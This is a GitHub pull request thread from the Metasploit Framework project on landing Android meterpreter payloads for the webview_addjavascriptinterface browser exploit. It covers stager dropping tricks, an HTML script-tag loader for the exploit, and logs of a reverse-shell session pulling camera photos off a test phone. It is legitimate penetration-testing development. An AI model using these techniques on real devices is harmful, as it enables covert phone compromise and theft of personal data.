rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.1k stars 13.76k forks source link

Land android meterpreter reverse_http(s) and webcam_fixes branches with new binaries #3086

Closed jvennix-r7 closed 10 years ago

jvennix-r7 commented 10 years ago

@timwr landed my metasploit-javapayload PR to update the dalvikstager build process, so this is ready to land. This PR encompasses the following metasploit-framework PRs, which might need to be closed upon landing this (I'm not sure if github will otherwise detect they are fully merged):

See the bottom comment for final verification steps/landing procedure.

jvennix-r7 commented 10 years ago

Uh oh, I broke some specs. Closing temporarily.

timwr commented 10 years ago

Nice one dude - No need for the armeabi-v7a binary though

jvennix-r7 commented 10 years ago

@timwr Ah right, armeabi bins work without a problem on armeabi-v7a. I will remove it then. Also notice that the exploit doesn't actually do arch detection/lib swapping, it just serves the armeabi payload for now. I'll make a PR later that checks the user-agent and serves the right thing, just trying to get all the bins in at the moment.

timwr commented 10 years ago

@jvennix-r7 this change (and http(s)) works great on glass however there was a bug (my fault) if you modified the payload and re-exploited the same app with the webview exploit (the dalvik cache for stage.apk is invalid). I've sent you a pull request with the fix here: https://github.com/jvennix-r7/metasploit-framework/pull/10/commits and pushed the java changes here: https://github.com/rapid7/metasploit-javapayload/pull/9

I don't suppose you could merge update the binaries please? Alternatively land this with a minor bug and fix in separate pr?

jvennix-r7 commented 10 years ago

@timwr thanks for reporting, I will update the bins here tomorrow and do some additional testing

jvennix-r7 commented 10 years ago

Closing this temporarily while I test further.

jvennix-r7 commented 10 years ago

Rebuilt and re-verified, this is ready to go now

timwr commented 10 years ago

works for me, thanks @jvennix-r7!

jvennix-r7 commented 10 years ago

This is failing for @egypt and I on android 4.0. I tested working well on 3.0 and 4.1.2. On my emulator instance it seems to drop the file, so I am thinking this is a problem with the stager. I will take a closer look at this tomorrow.

timwr commented 10 years ago

Are you sure the original module worked on the Android 4.0 emulator browser? I couldn't get it to work last night (thread StrictMode?).

jvennix-r7 commented 10 years ago

@timwr Why is it only 4.0 then? I thought StrictMode was a dev tool for popping an alert on a security violation?

jvennix-r7 commented 10 years ago

And it's very possible that the original implementation fails on 4.0, iirc I tested 3.0, 3.2, 4.0.2, and 4.1.2.

jvennix-r7 commented 10 years ago

I'm still confused though.. is strictmode enabled in 4.0's browser and none of the other versions? wut

jvennix-r7 commented 10 years ago

And now I can't reproduce that stack trace. I see this now:

https://gist.github.com/jvennix-r7/d58e2eba3423a85909fd

jvennix-r7 commented 10 years ago

I have removed support for Android 4.0, and added code for arch detection. I also found that the x86 ndkstager did not work, at least on the 4.1.2 x86 emulated device I tested with. I have submitted two bugs for tracking these defects:

RM-8787: webview_addjavascriptinterface does not support Android 4.0 RM-8788: x86 ndkstager does not work in android 4.1.2

I am going to do one more round of testing on 3.2, 4.0, 4.0.3, and 4.1.2 (mips/arm) and then this should be ready for review once more.

jvennix-r7 commented 10 years ago

Verification:

- [x] Gains a meterpreter session from Android 3.2 - [x] Does NOT gain a meterpreter session, and does not crash the browser in Android 4.0. You should receive a message in msfconsole about why the exploit was aborted. - [x] Does NOT gain a meterpreter session, and does not crash the browser in Android 4.0.3. You should receive a message in msfconsole about why the exploit was aborted. - [x] Gains a meterpreter session in Android 4.1.2 - [x] Gains a meterpreter session in Android 4.1.2mips - [x] Gains a session on any supported Android by visiting a separate HTML page with a SCRIPT tag that points to the .js route served by the module

See the bottom comment for final verification steps/landing procedure.

jvennix-r7 commented 10 years ago

Closing this temporarily until all steps verified.

jvennix-r7 commented 10 years ago

Okay, so after more testing, it turns out that 4.0-4.0.4 do not support the echo -en syntax. This makes me sad. I had another thought, I believe I can make this work by serving the ndkstager as a download. This has the drawback of showing a small "Downloading..." prompt (which fades out without user interaction), but I think if we immediately delete the stagers after dropping them we should be fine, since it should take less than a couple seconds.

jvennix-r7 commented 10 years ago

Okay, did some more testing. Logger only accepts cstrings and dies on null bytes. I also played with Parcel, to see if I could serialize a FileWriter instance and pull it back out, but it seems very platform-version dependent. :( So I think the solution I will end up with will be:

  1. Write a hex-encoded byte with echo to a file, read it back.
  2. If I get back the correct byte, just drop the payload with echo.
  3. Otherwise, check if there is an sdcard. If there is no sdcard, bail at this point. If an sdcard is present, force a download of both the ndkstager and the meterpreter stager. Move the files to the private /data/data directory.
  4. Chmod and exec the ndkstager.
  5. Destroy the files.

This is a bit dirty but should do the trick on most 4.0.x devices. It would be nicer if I just had to drop one file (I noticed gzip on the device), but this can be added later.

jvennix-r7 commented 10 years ago

Arghh. After typing that up I realized that embedded webviews probably (hopefully) prevent drive-by downloads like this. More testing to come, but this might not work.

schierlm commented 10 years ago

Late answer to @timwr's question: if getDeclaredConstructors does not work, use getConstructor instead (will only work with public constructors). If you have trouble creating a Class[] for the parameter types, use one of these:

Class.forName("java.lang.Number").getInterfaces()
Class.forName("java.io.File").getInterfaces()
Class.forName("java.util.Hashtable").getInterfaces()

Will create new Class[] of length 1, 2 and 3, respectively, across all Java versions (not sure about Android, but probably they are compatible enough in the base classes). Then you can use java.lang.reflect.Array.set() to fill them with the classes you need.

To obtain Object[] for the parameters themselves, build up an ArrayList and call its toArray() method. For a String[], use String.split.

In case you need larger Class arrays or some exotic but serializable objects, use this technique to create an ObjectInputStream that reads from a ByteArrayInputStream that wraps a base64 decoded array. Then you can readObject() until you have what you need.

I've used this technique with various scripting languages (for desktop Java, not mobile), and it always worked. No guarantee that it works for Android, but may be worth a try :)

jvennix-r7 commented 10 years ago

@schierlm thanks for the tips, this sounds promising. I don't think we can use java.lang.reflect.Array.set() here, though, because I need a Class[] to pull the set method so I can invoke it: obj.getClass().forName("java.lang.reflect.Array").getMethod('set', ...).

timwr commented 10 years ago

@jvennix-r7 great stuff! can you post some of your workings please? If the constructors for arbitrary classes (DexFile/DexClassLoader?) are working we can skip the ndk stager altogether and load the apk directly! Also if you can grab the context somehow then Context.openFileOutput might help.

jvennix-r7 commented 10 years ago

@timwr I couldn't get 4.0 working through reflection. I tried using Logger and System.console (they terminate on null byte), and I tried running cat > file.bin and pumping the binaries into stdin (turns out this has to be done from a separate thread). I implemented some of the serve-download solution last night, but tbh I think it is more trouble than it's worth, and turns the simple exploit into an asynchronous disk-polling nightmare, and plus won't work in an embedded webview. So I think I will just add the echo hex check (instead of the useragent version checking I am doing now), and hopefully one day someone figures out how to drop to disk through reflection.

If you have time to play around with the reflection, android.os.FileUtils.stringToFile(String filename, String string) seems rather useful, if I could just look it up correctly.

jvennix-r7 commented 10 years ago

Back on this now.

jvennix-r7 commented 10 years ago

Okay, this is ready for re-re-review

timwr commented 10 years ago

works for me, excellent work @jvennix-r7

schierlm commented 10 years ago

Played a bit with a new Android 4.1.2 emulator image (with vulnerable browser), and it seems that arrays are really a blocker for reflection via addJavascriptInterface objects - as soon as a method returns an array, it becomes undefined in Java. So sorry, probably really not possible to use reflection here. Therefore, calling binaries on the device is probably really the easier route (if echo does not work, maybe printf, or there is some callable shell that has an echo or printf builtin that can be used? I assume that you already checked that there are no scripting languages like lua or perl available on the affected phones...)

Anyway, impressive work so far!

jvennix-r7 commented 10 years ago

Okay, using echo with octal + leading 0 + double quotes + -e flag seems to be consistent across all affected versions.

timwr commented 10 years ago

Nice one with the byte encoding, it works on 4.0 now. @jvennix-r7 I'm slightly disappointed you removed the rap in the comments though! @schierlm you're right about the arrays, which explains why calling arbitrary constructors doesn't (or won't ever?) work. In theory there might be other things that could be done with static functions but the octal encoding is much less crufty. Also this is fixed in Google Glass XE16.

ZeroChaos- commented 10 years ago

I was able to complete all of the verification steps from above, plus "webcam_snap" for each one.

All worked perfectly against my target device:

Android 4.0.3 Maxthon Browser v4.2.3.2000 (latest as of today)(stock browser doesn't have camera perms)

This device has an SD card slot, but it was not populated at the time of the testing.

One small note, when I run "webcam_list" it shows two cameras, but when I webcam_snap, both indexes take a picture with the rear facing camera. This is not a reason to hold the PR imho, and I'm happy to test anything else requested.

timwr commented 10 years ago

Thanks for testing @ZeroChaos. Any chance you could let us know which device the webcam_list bug occurs on?

ZeroChaos- commented 10 years ago

In this case it's an HTC Rezound running some ROM called Ecliptic. Quite literally this is my wife's old phone that we were using as a baby rattle before this testing.

I did confirm that both the "main" and the "front" camera are functional. In this ROM the "main" camera is the rear camera that webcam_snap uses, and the "front" camera is the user facing camera which webcam_snap cannot seem to address.

timwr commented 10 years ago

This is working great on 4.0, 4.1.2, 4.3 and even 4.4.2! @jvennix-r7 I've sent you a pr with a minor string replacement fix here https://github.com/jvennix-r7/metasploit-framework/pull/11.

If you guys don't have any objections (@egyp7, @todb-r7 ?) I can help land this and the corresponding javapayload changes.

timwr commented 10 years ago

@jvennix-r7 I'm unable to reproduce the x86 issue on 4.1.2 so I've re-enabled it in https://github.com/jvennix-r7/metasploit-framework/pull/11. For more information: https://dev.metasploit.com/redmine/issues/8788

jvennix-r7 commented 10 years ago

All looks good to me. Thanks for the final review @timwr!

timwr commented 10 years ago

pull request deadlock :-p

todb commented 10 years ago

Sorry what's the problem? Merge conflicts or something?

timwr commented 10 years ago

Lot's of dependencies. Presumably the framework changes have to land before the javapayload changes but it would be rude to land my own pull requests. I can land the https changes if that helps at all.

todb commented 10 years ago

Ah gotcha. That's not super clear from this pull request history.

What would be useful is a checkbox list of depebdencies / verification steps that calls out the other repo pull request specifically. That way the crosslinking happens in the GitHub UI and everyone knows what needs to happen in what order.

Some of @OJ's PRs between framework and meterpreter used this pattern and it made it easy for dummies like me to follow along and actually land things. I can land anything with halfway decent verification steps.

jvennix-r7 commented 10 years ago

@todb gotcha, I will unify the verification steps here shortly (some of them are for verifying bugs that disappeared over the lifetime of this PR)

jvennix-r7 commented 10 years ago

Verification:

  • [ ] Gains a meterpreter session in Android 4.0
  • [ ] The webcam_list command works in the session
  • [ ] Gains a meterpreter session in Android 4.1.2
  • [ ] Gains a meterpreter session in Android 4.1.2mips
  • [ ] Gains a meterpreter session in Android 4.1.2x86
  • [ ] Gains a session on any supported Android by visiting a separate HTML page with a SCRIPT tag that points to the .js route served by the module:

    <html>
    <script type='text/javascript' src='http://192.168.1.1:8080/xmn4321mn4/script.js'></script>
    </html>

There is more functionality than what is listed (namely webcam_snap), but a couple of contributors have verified most of it (thanks @timwr and @ZeroChaos!), so I am comfortable with just the above steps. If anyone thinks I am missing anything please let me know.

Landing:

timwr commented 10 years ago

https://github.com/rapid7/metasploit-javapayload/pull/9 is the big one. Apologies for combining lots of things into one huge pull request, it won't happen again! I'm happy to split it up.

todb-r7 commented 10 years ago

Given the continued commenting on rapid7/metasploit-javapayload#9 up until May 25, it's a little unclear if this PR, #3086, is actually ready. I will go through to motions and test anyway though, and assume it'll all work out if the functionality is repeatable. Expect that Jun 1 at the very latest.

Part of my issue labelling spree was to make it easy to target things like this, btw.

timwr commented 10 years ago

@todb-r7, I think you mean Mar 25. The pull request could definitely use more eyeballs. I'll put some comments on it (and a reasonable title/description!) so people know what it contains.

timwr commented 10 years ago

P.s webcam_list won't work in the default browser. You need a browser with camera permissions. E.g maxathon. Last time I checked maxathon from the play store made 4.4.2 vulnerable

todb commented 10 years ago

Ok, good to know. Thanks @timwr!

ZeroChaos- commented 10 years ago

s/maxathon/maxthon On May 31, 2014 11:06 AM, "Tod Beardsley" notifications@github.com wrote:

Ok, good to know. Thanks @timwr!

— Reply to this email directly or view it on GitHub https://github.com/rapid7/metasploit-framework/pull/3086#issuecomment-44750564 .

todb-r7 commented 10 years ago

Okay, testing this on my trusty vulnerable AT&T ZTE Z992 phone, Android version 4.1.1.

First off, meterpreter is available now as a PAYLOAD:

msf exploit(webview_addjavascriptinterface) > set PAYLOAD <tab>
set PAYLOAD android/meterpreter/reverse_http   set PAYLOAD android/shell/reverse_http         set PAYLOAD generic/custom
set PAYLOAD android/meterpreter/reverse_https  set PAYLOAD android/shell/reverse_https        set PAYLOAD generic/shell_bind_tcp
set PAYLOAD android/meterpreter/reverse_tcp    set PAYLOAD android/shell/reverse_tcp          set PAYLOAD generic/shell_reverse_tcp
msf exploit(webview_addjavascriptinterface) > set PAYLOAD android/meterpreter/reverse_tcp

A session is got:

[*] Started reverse handler on 192.168.43.169:4444 
[*] Using URL: http://192.168.43.169:8080/x
[*] Server started.
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.43.70    webview_addjavascriptinterface - Gathering target information.
[*] 192.168.43.70    webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Received cookie 'FpOfhBGgUSoRYKUWVEs'.
[!] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Received sniffed browser data over POST: 
{"os_name"=>["Linux"], "os_flavor"=>["Android"], "ua_name"=>["Chrome"], "ua_ver"=>["undefined"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"]}.
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Received cookie 'FpOfhBGgUSoRYKUWVEs'.
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Serving exploit to user with tag FpOfhBGgUSoRYKUWVEs
[*] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Setting target "FpOfhBGgUSoRYKUWVEs" to :tried.
[!] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Comparing requirement: source=script vs k=script
[!] 192.168.43.70    webview_addjavascriptinterface - 192.168.43.70    webview_addjavascriptinterface - Comparing requirement: os_flavor=Android vs k=Android
[*] 192.168.43.70    webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (40248 bytes) to 192.168.43.70
[*] Meterpreter session 1 opened (192.168.43.169:4444 -> 192.168.43.70:54042) at 2014-06-02 16:56:27 -0500

And the session is active.

meterpreter > getwd
/data/data/com.android.browser/files/.

Right there is kinda huge.

Let's see what commands work. Note, I haven't done anything with rapid7/metasploit-javapayload#9 yet, I just want to see this android stuff land right now because it's been far too long.

Tl;dr verification so far:

  • [x] See that the meterpreter payloads are available for an Android exploit.
  • [x] See that the meterpreter payload gives a shell when executed.
  • [x] See the session stay alive long enough to execute a command.
todb-r7 commented 10 years ago

Spot checking some commands:

  • [x] background - should background a session
  • [x] irb - should spawn irb with client populated appropriately, as such:
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

cannot load such file -- irbtools
>> client.inspect
=> "#<Session:meterpreter 192.168.43.70:54042 (192.168.43.70) \" @ localhost\">"
>> exit
  • [x] pwd returns the working directory
  • [x] cd changes directory, eg, cd /sdcard/DCIM/Camera
  • [x] download downloads a file to the local working directory, eg download IMG_20140425_220000_089.jpg
  • [x] upload uploads a file to the remote working directory, eg upload watchdoge.jpg
  • [x] mkdir and rmdir behave as expected.
  • [x] search -f *.jpg /sdcard finds all jpgs on the sdcard.
  • [x] ps returns an accurate process list.
  • [x] ifconfig returns an accurate interface list.
  • [x] sysinfo correctly identifies the host as Linux, using a java Meterpreter, like so:
meterpreter > sysinfo
Computer    : localhost
OS          : Linux 3.4.0-perf (armv7l)
Meterpreter : java/java
  • [ ] getuid returns the remote username
  • [x] shell drops to an interactive shell.

All this appears to work except getuid:

meterpreter > getuid
Server username: 

However, this is not a show stopper.

The next tests will spotcheck the http and https versions.